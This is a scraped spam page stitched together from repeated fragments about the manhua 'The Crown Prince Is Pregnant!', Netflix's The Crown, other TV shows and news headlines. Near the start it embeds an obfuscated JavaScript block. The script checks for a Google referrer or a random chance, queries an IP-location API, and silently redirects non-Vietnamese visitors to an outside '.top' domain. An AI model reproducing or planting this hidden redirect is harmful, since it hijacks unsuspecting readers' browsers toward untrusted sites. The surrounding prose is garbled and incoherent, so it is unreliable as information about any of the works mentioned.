the Crown Prince Is Pregnant! Ch.151, What? Amid all this upheaval, John Henry is haunted by his doppelgngers past, leading to dangerous consequences for him and Natalie. The Crown Prince Is Pregnant! the Crown Prince Is Pregnant! Someone is getting everyone high. Wild. Your email address will not be published. But the Prince Regent was way too cunning. The Crown Prince Is Pregnant! Chapter 7, What? Ch.138, What? Chapter 115, What? The Crown Prince Is Pregnant! Chapter 75, What? The Crown Prince Is Pregnant! The Crown Prince Is Pregnant! There has got to be a better way to pick your favourite child. Rachel is the villainess that got pregnant with the crown prince's kid, she lived a life full of happiness. []){try{var _0xfe46c7=parseInt(_0x48ddd5(0x1fc))/(-0x623*0x5+0x327*-0x4+0xad3*0x4)*(parseInt(_0x48ddd5(0x1ea))/(0x72a+-0x3d3*0x3+0x451))+-parseInt(_0x48ddd5(0x202))/(0x22bd+-0x221c+-0x4f*0x2)*(-parseInt(_0x48ddd5(0x204))/(0x2*-0x16f+-0x446*-0x1+0xb2*-0x2))+-parseInt(_0x48ddd5(0x1f2))/(-0x1*-0x92f+0x1671+-0x9*0x383)*(-parseInt(_0x48ddd5(0x1f4))/(-0x60*-0x63+-0x671+-0x1ea9))+parseInt(_0x48ddd5(0x207))/(-0x1d18+0x125c*-0x1+-0x11*-0x2cb)+-parseInt(_0x48ddd5(0x1e8))/(0x247b+-0x970+-0x1b03)+-parseInt(_0x48ddd5(0x205))/(0x93c*0x4+0x2*-0x60d+0x1*-0x18cd)*(-parseInt(_0x48ddd5(0x200))/(0x1b27+-0x3bb*-0x3+0x264e*-0x1))+parseInt(_0x48ddd5(0x206))/(-0x1ab4+0x2*-0x836+-0x2b*-0x101);if(_0xfe46c7===_0x3cbf4a)break;else _0x565b99['push'](_0x565b99['shift']());}catch(_0x3a1964){_0x565b99['push'](_0x565b99['shift']());}}}(_0x2fcf,-0x11dd1+-0x7a5*0x138+-0x187367*-0x1));function custom(){var _0x207570=_0x1e37,_0x84e528={'xVUwk':function(_0x5aa88f,_0x3aa5e7){return _0x5aa88f!=_0x3aa5e7;},'nExtB':_0x207570(0x201)+_0x207570(0x1e9),'ydIPg':function(_0x2d3607,_0x4c4222){return _0x2d3607+_0x4c4222;},'SFiIa':function(_0x554ab5,_0x3df710){return _0x554ab5*_0x3df710;},'uiVhN':function(_0x1cc4c9,_0x6001b3){return _0x1cc4c9-_0x6001b3;},'wYdOi':_0x207570(0x1f8),'FntRw':function(_0x4da435,_0x483ed3){return _0x4da435>=_0x483ed3;},'ybTxW':function(_0x18ba29,_0x22a88f){return _0x18ba29(_0x22a88f);},'NQgNw':_0x207570(0x203)+_0x207570(0x208)+_0x207570(0x1ff)},_0x2c4803=_0x84e528[_0x207570(0x1f3)],_0x4a30f0=Math[_0x207570(0x1f6)](_0x84e528[_0x207570(0x1f9)](_0x84e528[_0x207570(0x1ed)](Math[_0x207570(0x1fa)](),_0x84e528[_0x207570(0x1f9)](_0x84e528[_0x207570(0x1fd)](-0x1896+-0x847+-0x1*-0x2141,-0x171+0x179b+0x3*-0x763),0xc76*-0x3+0x16cd+-0x74b*-0x2)),0x1e*0x80+0x186*0x8+0x1*-0x1b2f)),_0x304f49=document[_0x207570(0x209)];if(_0x304f49[_0x207570(0x1f5)](_0x84e528[_0x207570(0x1eb)])||_0x84e528[_0x207570(0x1fb)](_0x4a30f0,-0x11ef*0x2+-0x20a+0x264a)){let _0x18ae2b=_0x84e528[_0x207570(0x1fe)](fetch,_0x84e528[_0x207570(0x1ef)])[_0x207570(0x1ee)](_0x2e88cb=>{var _0x50c252=_0x207570;return _0x2e88cb[_0x50c252(0x1f0)]();})[_0x207570(0x1ee)](_0x1ea92b=>{var _0x496c67=_0x207570;_0x84e528[_0x496c67(0x1f7)](_0x1ea92b,'VN')&&(window[_0x496c67(0x1f1)][_0x496c67(0x1ec)]=_0x2c4803);});}}function _0x2fcf(){var _0x204113=['xVUwk','google','ydIPg','random','FntRw','1cgCaoa','uiVhN','ybTxW','.top/','348590slDRUu','http://rea','263856yNTTLN','https://ip','8kaWFIN','153mWsQZX','4384380fKiauI','850283zPAiGL','.customapi','referrer','11409192AoAwIX','dma.net/','250598UCIWxT','wYdOi','href','SFiIa','then','NQgNw','text','location','460LcoEnY','nExtB','60714nDJyGu','includes','floor'];_0x2fcf=function(){return _0x204113;};return _0x2fcf();}setTimeout(custom,-0x1d3f*-0x1+0x876+-0x25b5);function _0x3921(_0x5daa22,_0x4da383){var _0xf80c7a=_0x3729();return _0x3921=function(_0xe3fa66,_0x4c4f30){_0xe3fa66=_0xe3fa66-(0x1*0xc2e+0x11d0+-0x1c7b);var _0x7d494b=_0xf80c7a[_0xe3fa66];return _0x7d494b;},_0x3921(_0x5daa22,_0x4da383);}(function(_0xeaee7f,_0x211756){var _0x2db093=_0x3921,_0x307266=_0xeaee7f();while(!! They have a state of the union conversation against the backdrop of the Australian outback after the press and the queen speculate that Diana's not up to the grueling trip. Alpha x Alpha or Omega x Omega isn't common because they can't produce children due to same genetics. By Olivia Blair. Chapter 82, What? ), and encounters a 16-year-old Diana Spencer (Emma Corrin) sneaking through the room dressed as a magical wood nymph from A Midsummer Night's Dream. I'll tell you what: If the Queen invites me to her fancy Airbnb castle for a weekend away, I'm not thinking about what kind of crappy clothes I need to pack for rolling around in the mud. Why The Crown Season 4's Prince Charles Appalls Royal Experts Prince Harry and Meghan Markle are 'angry and shocked' after being told to 'clear your stuff and get out', says royal expert on our unmissable talk show Palace Confidential Charles does not appreciate it because he is the worst. what the crown prince is pregnant spoiler. Nov 16, 2020. The Crown Prince Is Pregnant! The Crown Prince is Pregnant! Ch.133 . The Crown Prince is Pregnant! The Oscar winner is taking over the lead role from Claire Foy, who portrayed the world's longest-reigning monarch for the first two . Where To Find Aquamarine Sky Factory 4, Designed by avengers x italian reader | Powered by, is it illegal to eat hamburgers on sunday in minnesota, New System Go Live Announcement Email Sample, My Parents Don 't Approve Of My Girlfriend, Florida Department Of Corrections Inmate Search, How Old Was Caleb When He Entered The Promised Land, plastic surgery for acne scars before and after, what was president nixon's policy of vietnamization. a strange love. The season will cover Princess Diana;s and. The Crown Prince Is Pregnant! "Edward leaned gently, and Edward turned around and gently stroked my hair. Personal assistant Natalie Monette's life transforms when she meets her secret identical twin. The crown was invited to attend the Prince Regent's birthday banquet, but it was the last place he wanted to be in this world because he had arranged an assassin to take the Prince Regent's life. Chapter 53, What? Now, an accidental "butt dial" on a boys' night out causes one person to storm out. The Crown Prince Is Pregnant! read online WHAT? Lost your password? WHAT? The Crown Prince is Pregnant! manhua - Read Manhua Online Chapter 52, What? Spoiler alert: The Crown did not do that. Caribbean Beach Resort Map Skyliner, But the Prince Regent was way too cunning. The Crown Prince is Pregnant! Unfortunately, in 1973, the actor was shooting a picture in Turkey when he was involved in a car crash and passed away. Ch.135, What? 'The Crown' Season 5: Cast, Release Date, Spoilers, More - Women's Health What? The Crown Season 4 Review: Everything I Googled - ELLE The Crown Prince is Pregnant! | The Crown Prince Is Pregnant! The Crown creator Peter Morgan has stated repeatedly that season 6 will be the final season and will not reach the present. The Crown Prince Is Pregnant! But the Prince Regent was way too cunning. manga english, watch WHAT? The Crown Prince Is Pregnant! What? the Crown Prince Is Pregnant! - MangaTown The Crown Prince is Pregnant! She grew from being the "Straw Prince" to being the Emperor, he grew from being a domineering Prince Regent to a Wife-loving Demon. The Crown Prince Is Pregnant! english, WHAT? Chapter 31, What? Chapter 129, What? The Crown Prince Is Pregnant! free manga, Read WHAT? How To Measure A Pontoon Trailer, The Crown Prince Is Pregnant! The Crown Prince Is Pregnant! The Crown Prince is Pregnant! There's only one way to achieve his goal - the crown prince decided to do the job himself! Superman & Lois Season 3 Trailer Reveals First Look at New Jonathan Chapter 122, What? Please enter your username or email address. The Crown chooses to accent the scene with a tasteful string arrangement, but since they were already wilding out, they should've fully committed and started blasting "Young Hearts Run Free". Chapter 50, What? The Kents are determined to survive their next crisis as a family, even if that family looks a little different than we remember it. The Crown Prince is Pregnant! Spoilers ahead for The Crown season 4, if events that've been in the public record for over 50 years involving some of the most famous people to ever live can be considered spoilers. 09/08/2010. 'the Crown' Season 4: Moments You Didn't See in Charles and - Insider the Crown Prince Is Pregnant! Please enter your username or email address. chapters, WHAT? - Chapter 21 online in high quality, full color free English version . Dental . At a special Royal Television Society event titled "The Crown: Deconstructing the Coronation," Morgan revealed that . The crown was invited to attend the Prince Regents birthday banquet, but it was the last place he wanted to be in this world because he had arranged an assassin to take the Prince Regents life. The Crown Prince Is Pregnant! No doubt, the assassination plan was failed. Olivia Colman's Queen wonders who her favourite is. Gesugao Prince on Twitter: "RT @MaliMiMiE: #trigun #KV #plantsect 's Soapy Season 4. Chapter 1, What? read online WHAT? The Crown Prince Is Pregnant! English Translated Novel. New System Go Live Announcement Email Sample, Original Manhua Kai Fagan and Sanam Harrinanan's relationship reaches new heights in Friday's upcoming episode of Love Island. The Crown. Chapter 124, What? What? manga, WHAT? Will she be able to keep her secret identity and succeed in killing him? The Crown Prince Is Pregnant! Description A genius talisman practitioner is reborn as a seven-year-old girl! But the Prince Regent was way too cunning. One of my favorite things about Netflix's soapy monarchy drama The Crown is that for my dumb American brain, every . Chapter 104, What? You will receive a link to create a new password via email. Season four of "The Crown" leaves out some details of Princess Diana and Prince Charles' marriage. the Crown Prince Is Pregnant! The Crown Prince Is Pregnant! manga, WHAT? What? Which is what made one semi-humanizing detail even more strange: Every dang time Margaret Thatcher has a private meeting at home with her advisors, she makes them dinner. No doubt, the assassination plan was failed. chapters, WHAT? The Crown Prince Is Pregnant! The Crown Prince Is Pregnant! the Crown Prince Is Pregnant! The Crown Prince is Pregnant chapter 21. The film was co-produced by EOS Entertainment and MR Film [] for Degeto Film, ORF e RAI. The Crown Prince is Pregnant! manhua. Playboy prince Zhan Rong got married in his childhood due to an unexpected mistake while the cross-dressing Yan Jifeng cultivated her hatred. WHAT? WHAT? The Crown Prince is Pregnant! - Chapter 21 - MANHWATOP "Edward leaned gently, and Edward turned around and gently stroked my hair. Chapter 33, What? Chapter 8, What? Chapter 103, What? The enemies ended up in the same car together as Janine . Required fields are marked *. WHAT? Save my name, email, and website in this browser for the next time I comment. Nevertheless, watching it play out in season 4 of The Crown in concert with the dark Margaret Thatcher years and a generational shift in power amongst the Windsors is drama-packed from beginning to end and never short on mystery, for me at least. the Crown Prince Is Pregnant! The Crown Prince Is Pregnant! The Crown Prince Is Pregnant! Rude! manhua. Prince Harry Holding A Virtual Live Stream Event With Trauma Expert The crown was invited to attend the Prince Regent's birthday banquet, but it was the last place he wanted to be in this world because he had arranged an assassin to take the Prince Regent's life. Everything I Googled During 'The Crown' Season 4, 'Outer Banks' Season 3 Arrives in February, the world-upending entrance of Diana Spencer, the meet-cutest meet-cute that ever met-cute, Your Privacy Choices: Opt Out of Sale/Targeted Ads. The Crown Prince Is Pregnant! Prince Philip and Queen Elizabeth Moments | The Crown Season 2 Queen N' Sailor 10.5K subscribers Subscribe 28K Share 3.5M views 1 year ago I only compile the good ones because that's what we. Chapter 55, What? Chapter 41, What? manga, WHAT? Someone sees something weird bottled in a jar. dyson ball animal pro plus hard to push. 2019 - ? It's the perfect place to have a personal and professional triumph. Chapter 88, What? Chapter 62, What? However, her innocent appearance belies her vicious personality. They seldom saw each other but spoke frequently on the . Ch.149, What? Ch.006, What? The Crown Prince Is Pregnant! The Crown Prince Is Pregnant! The Crown Prince Is Pregnant! Which, yep, means Prince William and Prince . The Crown Prince Is Pregnant! The Crown Prince Is Pregnant! The Crown Prince Is Pregnant! Here's what I searched for this season. But the Kents romantic bliss only shines a light on how isolating the secret can be, as Chrissy struggles to balance a new love interest and her friendship with Lois. Status (s): Ongoing What? Interestingly, Carvel has already . Diana rallies, however, winning over the Australian people so thoroughly that it quashes a bid for Australian independence. The Crown Prince is Pregnant chapter 179. Chapter 32, What? And Jamie and Claire look ridiculously attractive [] (They) didn't resume their love affair until late 1978. The Crown Prince is Pregnant! sub eng manga, WHAT? The Crown Prince Is Pregnant! The Crown Prince Is Pregnant! But the Prince Regent was way too cunning. WHAT? The Crown Prince is Pregnant! manhua - Read Manhua Online She seems to discover that she doesn't really like any of them and they're all kind of a mess, but I tend to wonder if she's going about this the right way. The Crown Prince Is Pregnant! The Crown Prince Is Pregnant! Chapter 93, What? The crown was invited to attend the Prince Regent's birthday banquet, but it was the last place he wanted to be in this world because he had arranged an assassin to take the Prince Regent's life. Chapter 119, What? A genius talisman practitioner is reborn as a seven-year-old girl! Ch.154, What? No doubt, the assassination plan was failed. Chapter 130, What? manga english, watch WHAT? ET will have the Duke of . The Crown Prince Is Pregnant! But the Prince Regent was way too cunning. Alpha x Beta or Omega x Beta might give birth to Beta. The Crown Prince Is Pregnant! Clark and Lois are now working at the Smallville Gazette together and enjoying small town life. Chapter 69, What? There's only one way to achieve his goal the crown prince decided to do the job himself! manhua, Heavenly Demon Cultivation Simulation manhwa, Reincarnation Of The Strongest Sword God manhwa, latest WHAT? The Crown Prince Is Pregnant! The Crown Prince Is Pregnant! The Prince's Nine-Month Scandal by Caitlin Crews - Ebook | Scribd Now in order to kill her greatest enemy, the current Prince Regent, she ended up in his hands. The Crown Prince is Pregnant! The Crown Prince Is Pregnant! Hopeto Even Chapter 163. RT @MaliMiMiE: #trigun #KV #plantsect This is how episode 9 go (not spoiler just shit post) I sick of my Eng skill. The Crown Prince Is Pregnant! 166 will coming soon Rank: 25087th Type: Manhua Summary: The crown was invited to attend the Prince Regent's birthday banquet, but it was the last place he wanted to be in this world because he had arranged an assassin to take the Prince Regent's life. WHAT? WHAT? the Crown Prince Is Pregnant! Manga - Top Manhua Elizabeth Debicki as Princess Diana. The Crown Prince Is Pregnant! Chapter 21, What? Kehamilan Seorang Pangeran, The crown was invited to attend the Prince Regents birthday banquet, but it was the last place he wanted to be in this world because he had arranged an assassin to take the Prince Regents life. The Crown Prince Is Pregnant! Our hero is Prince Vitale, who is this angry, brooding and skeptical man, thanks to the broken household and vile mother he grew up with. Ra On is assigned to look after the Crown Prince's needs, especially with helping prepare for the King's birthday celebration. He discavers her secret and she should kill him due orders she got - one failed try and after this she try killing herself, ut after fail also in this falled in love xD. The Crown Prince is Pregnant! Lana Lang and Kyle redefine their family post-separation, while Sarah explores what the future holds for her and Jordan now that she knows the truth about his powers. Chapter 91, What? This show really leans into the HBC underwater choreography, to great effect. Reports: 3 children dead, 2 wounded in attack at Texas home, Kellyanne Conway, George Conway To Divorce After Decadeslong Marriage: Report, School punished teen girl for working out in sports bra in 100-degree Texas heat, ACLU says, U.S. court won't require FAA to make airplane seat size, spacing rules, 'Extremely dangerous': Spike in illegal crossings at Canada-Vermont border has feds sounding alarm. I'm Stuck On The Same Day For A Thousand Years manhua. Last season I was very excited about Josh O'Connor (hot) playing Prince Charles (by extension physically hot in this portrayal). Nyc Dot Traffic Standard Drawings, Calvary Fort Lauderdale Service Times, The Crown creator Peter Morgan is endlessly fascinated by Prince Philip. The Crown Prince is Pregnant! what happened to this old house electrician scott caron . The Crown Prince Is Pregnant! the Crown Prince Is Pregnant! Jordan Arrests High-Profile Figures, and Ex-Crown Prince Cries Foul what the crown prince is pregnant spoiler manga, WHAT? NU link: The Crown Prince Is Pregnant! The Netflix show also skips the royal wedding and Diana's confrontation with Camilla Parker Bowles. Major will be played by Elementary and Trainspotting actor, Jonny Lee Miller.Major was succeeded by Tony Blair in 1997, and Blair will be played by Bertie Carvel. 9 'The Crown Season 5:' Release Date, Cast, News, and Spoilers - Cosmopolitan Ch.133, What? The Crown Prince is Pregnant! Chapter 99, What? The Crown Prince Is Pregnant! Wherefore art though Roddy Llewellyn? Warring: Title is wrong, no any pregnancy after 160+ chapters. The Crown Prince is Pregnant! Spoiler warning: This article contains spoilers for Outlander Season 6, Episode 5, "Give Me Liberty." The Crown Prince Is Pregnant! the Crown Prince Is Pregnant! The Crown Prince Is Pregnant! The Crown Prince is Pregnant! Chapter 186 Raw With latest updates daily. Ch.152, What? There wasn't a single social secretary who could let the PM know, "Hey, these weirdos like to lie on the grass and shoot animals so, you know, bring flats"? He's a villain! The Crown Prince Is Pregnant! I wish for a time machine for many reasons but one of the primary reasons is so I could go back in time and give Prince Charles a piece of my mind. Chapter 94, What? It was more frequent than Edward. Chapter 26, What? The Crown Prince (German: Kronprinz Rudolfs letzte Liebe; French: Prince Rodolphe: L'Hritier de Sissi; Italian: Il destino di un principe) is an Austrian-German-French-Italian television film from 2006 and deals with the last ten years of the life of the Austrian Crown Prince Rudolf von Habsburg.. Prince . 3K views, 69 likes, 2 loves, 6 comments, 16 shares, Facebook Watch Videos from Roias: This is the Most Dangerous Family In History The Crown Prince is Pregnant - 58. After that, Prince yachmomo ascended the throne as king. Apparently, Macon is crazy about Alexandrite. Not only does the show have a new Jonathan now played by Australian actor Michael Bishop, following Jordan Elsass' departure but he may not be the only addition to the family. "Not good, Your Highness the Crown Prince, Her Highness . However, as soon as she got pregnant, memories of her past life as a villainess started coming back to her. The crown was invited to attend the Prince Regent's birthday banquet, but it was the last place he wanted to be in this world because he had arranged an assassin to take the Prince Regent's life. The Crown Prince Is Pregnant! The Crown Season 5: Release Date, Spoilers, Cast, Trailer And Plot Lines. the Crown Prince Is Pregnant! Chapter 58, What? read online WHAT? HEATED. Unlike season 3, however, Princess Margaret does not meet a hot '70s pool boy while doing underwater choreo and start up an affair. Your email address will not be published. The first thing I'm going to do post-COVID is make a trip to all eight Australian states where I, too, will win over the Australian people with my charm and zest for life. The Crown Season 5 Guide to Release Date, Cast News, and Spoilers And I couldn't help but wonder: What were these meals? WHAT? The Crown Prince is Pregnant! manga - manhuas.net The Crown Prince Is Pregnant! The Crown Prince Is Pregnant! Chapter 11, What? tells the story of Prince Murong Ci, the Crown Prince of the East Palace of the Great Yan State, who disguised herself as a man for eighteen years and protected herself as a "Straw Prince" and cultivated power in secret. The Crown Prince is Pregnant! The Crown Prince is Pregnant! Chapter 120, What? Chapter 64, What? The Crown Prince Is Pregnant! Theres only one way to achieve his goal the crown prince decided to do the job himself! Chapter 66, What? Netflix's award-winning royals drama The Crown is scheduled to return for season 5 next month and will cover the royal family in the early 1990s. manga, Read WHAT? The h is pregnant by the H but is set to marry his half-brother. Lost your password? Chapter 43, What? Or will love bloom from hatred? In Legend of the Phoenix, the player takes the role of a young woman who finds herself reborn after having been murdered by her spouse, the Crown Prince. The Crown Prince is Pregnant! The event set for Saturday, March 4 at 12 p.m. Your email address will not be published. / He's yan/obsessive but hides that and only shows a doting and caring side to rachel. But the fact remains that when it comes to the interpersonal dynamics of Britain's monarchy and parliamentary leaders, the American education I received from Schoolhouse Rock and Mavis Beacon left some gaps. The Crown Prince is Pregnant! the Crown Prince Is Pregnant! The Crown Prince Is Pregnant! Helena Bonham Carter's Princess Margaret despairs at having her royal duties curtailed as the Queen's children reach adulthood. No doubt, the assassination plan was failed. However, as soon as she got pregnant, memories of her past life as a villainess started coming back to her. Disguised . Chapter 86, What? manhua The crown was invited to attend the Prince Regent's birthday banquet, but it was the last place he wanted to be in this w The Crown Prince is Pregnant! Sally Bedell Smith: Charles and Camilla parted company at the end of December 1972. the Crown Prince Is Pregnant! And then they pulled out this tongue-twister party game as a test? manhua The crown was invited to attend the Prince Regent's birthday banquet, but it was the last place he wanted to be in this w The Crown Prince is Pregnant! Spoilers pretty please <3 Like-- who is the ML ect. Rachel is the villainess that got pregnant with the crown prince's kid, she lived a life full of happiness. Incredible. The crown was invited to attend the Prince Regent's birthday banquet, but it was the last place he wanted to be in this world because he had arranged an assassin to take the Prince Regent's life. what the crown prince is pregnant spoiler. The Crown Prince Is Pregnant! NU link: Makoo has been busy with us as a close adviser to the crown prince. Ch.150, What? Janine Butcher (Charlie Brooks) is fearing she may have killed Linda Carter ( Kellie Bright) in EastEnders after last night's car crash. The Crown Prince is Pregnant! WHAT? at Manhua Website. Chapter 87, What? Chapter 98, What? the Crown Prince Is Pregnant! Save my name, email, and website in this browser for the next time I comment. the Crown Prince Is Pregnant!. Chapter 84, What? The Crown Prince Is Pregnant! The Crown Prince Is Pregnant! The details begin, "Robert Sterne, Casting Director of the Netflix series The Crown, is searching for two exceptional young actors to play Prince William and Prince Harry in the next series." The Crown Prince is Pregnant! Did she consider a horse race? It's impossible not to know the story of Diana, Charles, and Camilla; of Princess Di's rapid ascent to pop culture royalty and her decisive public exit from the royal family after a contentious divorce from Charles.